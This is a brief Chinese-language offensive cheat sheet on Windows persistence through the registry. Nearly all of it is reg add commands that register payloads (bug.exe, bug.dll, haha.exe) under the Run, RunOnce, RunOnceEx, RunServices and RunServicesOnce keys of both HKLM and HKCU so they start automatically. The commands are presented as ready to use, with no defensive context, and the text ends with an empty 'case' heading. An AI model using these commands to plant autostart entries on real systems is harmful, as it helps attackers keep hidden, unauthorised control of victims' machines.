windows权限维持之注册表

适用于dll或者自启动

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v bug /t REG_SZ /d "C:\bug\bug.exe" 
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v bug /t REG_SZ /d "C:\bug\bug.dll"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v bug /t REG_SZ /d "C:\Users\test\Downloads\bug.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v bug /t REG_SZ /d "C:\Users\test\Downloads\bug.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v bug /t REG_SZ /d "C:\Users\test\Downloads\bug.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v bug /t REG_SZ /d "C:\Users\test\Downloads\bug.exe"

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v yang /t REG_SZ /d "C:\programdata\haha.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v yang /t REG_SZ /d "C:\programdata\haha.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v yang /t REG_SZ /d "C:\programdata\haha.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v yang /t REG_SZ /d "C:\programdata\haha.exe"

案例